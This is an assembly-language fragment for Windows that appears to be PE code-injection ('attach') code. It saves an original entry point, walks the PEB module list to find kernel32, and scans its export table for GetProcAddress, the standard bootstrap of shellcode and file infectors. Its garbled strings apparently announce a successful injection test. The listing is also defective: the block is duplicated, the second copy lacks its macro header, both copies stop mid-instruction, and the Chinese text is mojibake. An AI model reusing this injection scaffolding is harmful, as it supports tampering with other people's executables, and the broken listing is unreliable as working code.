_call MACRO procedure,parameters:VARARG
LOCAL param,reversed
reversed TEXTEQU <>
% for param,<parameters>
reversed CATSTR <param>,<!,>,reversed
endm
% for param,<reversed>
push param
endm
call procedure
endm
;===========================================================================================
.code
attach_start equ $
OEP dd 0
szText db "¹§Ï²£¡×¢Èë³É¹¦",0
szCaption db "×¢Èë²âÊÔ",0
_GetProcAddress dd 0
_MessageBox dd 0
_LoadLibrary dd 0
_FreeLibrary dd 0
_ExitProcess dd 0
hLibUser32 dd 0
szLibUser32 db "user32",0
szMessageBox db "MessageBoxA",0
szLoadLibrary db "LoadLibraryA",0
szFreeLibrary db "FreeLibrary",0
szExitProcess db "ExitProcess",0
attach_code_start equ $
call Attachment
Attachment proc
assume fs:nothing
push esi
xor ecx,ecx
mov esi,fs:[30h]
mov esi,[esi+0ch]
mov esi,[esi+1ch]
@next_module:
mov eax,[esi+08h]
mov edi,[esi+20h]
mov esi,[esi]
cmp [edi+24],cx
jne @next_module
pop esi
;=====================================??kernel32.dll????eax?==========================
push ebp
push ebx
push edi
push esi
mov ebp,eax
add eax,[eax][IMAGE_DOS_HEADER.e_lfanew]
mov edi,[eax][IMAGE_NT_HEADERS.OptionalHeader.DataDirectory]
add edi,ebp
mov esi,[edi][IMAGE_EXPORT_DIRECTORY.AddressOfNames]
add esi,ebp
;????kernel32 ??
xor edx,edx
@@name:
mov eax,[esi]
add eax,ebp
@@chgp:
cmp dword ptr [eax+00h] ,"PteG"
jne @@next
cmp dword ptr [eax+04h] ,"Acor"
jne @@next
cmp dword ptr [eax+08h] ,"erdd"
jne @@next
cmp word ptr [eax+0ch] ,"ss"
LOCAL param,reversed
reversed TEXTEQU <>
% for param,<parameters>
reversed CATSTR <param>,<!,>,reversed
endm
% for param,<reversed>
push param
endm
call procedure
endm
;===========================================================================================
.code
attach_start equ $
OEP dd 0
szText db "¹§Ï²£¡×¢Èë³É¹¦",0
szCaption db "×¢Èë²âÊÔ",0
_GetProcAddress dd 0
_MessageBox dd 0
_LoadLibrary dd 0
_FreeLibrary dd 0
_ExitProcess dd 0
hLibUser32 dd 0
szLibUser32 db "user32",0
szMessageBox db "MessageBoxA",0
szLoadLibrary db "LoadLibraryA",0
szFreeLibrary db "FreeLibrary",0
szExitProcess db "ExitProcess",0
attach_code_start equ $
call Attachment
Attachment proc
assume fs:nothing
push esi
xor ecx,ecx
mov esi,fs:[30h]
mov esi,[esi+0ch]
mov esi,[esi+1ch]
@next_module:
mov eax,[esi+08h]
mov edi,[esi+20h]
mov esi,[esi]
cmp [edi+24],cx
jne @next_module
pop esi
;=====================================??kernel32.dll????eax?==========================
push ebp
push ebx
push edi
push esi
mov ebp,eax
add eax,[eax][IMAGE_DOS_HEADER.e_lfanew]
mov edi,[eax][IMAGE_NT_HEADERS.OptionalHeader.DataDirectory]
add edi,ebp
mov esi,[edi][IMAGE_EXPORT_DIRECTORY.AddressOfNames]
add esi,ebp
;????kernel32 ??
xor edx,edx
@@name:
mov eax,[esi]
add eax,ebp
@@chgp:
cmp dword ptr [eax+00h] ,"PteG"
jne @@next
cmp dword ptr [eax+04h] ,"Acor"
jne @@next
cmp dword ptr [eax+08h] ,"erdd"
jne @@next
cmp word ptr [eax+0ch] ,"ss"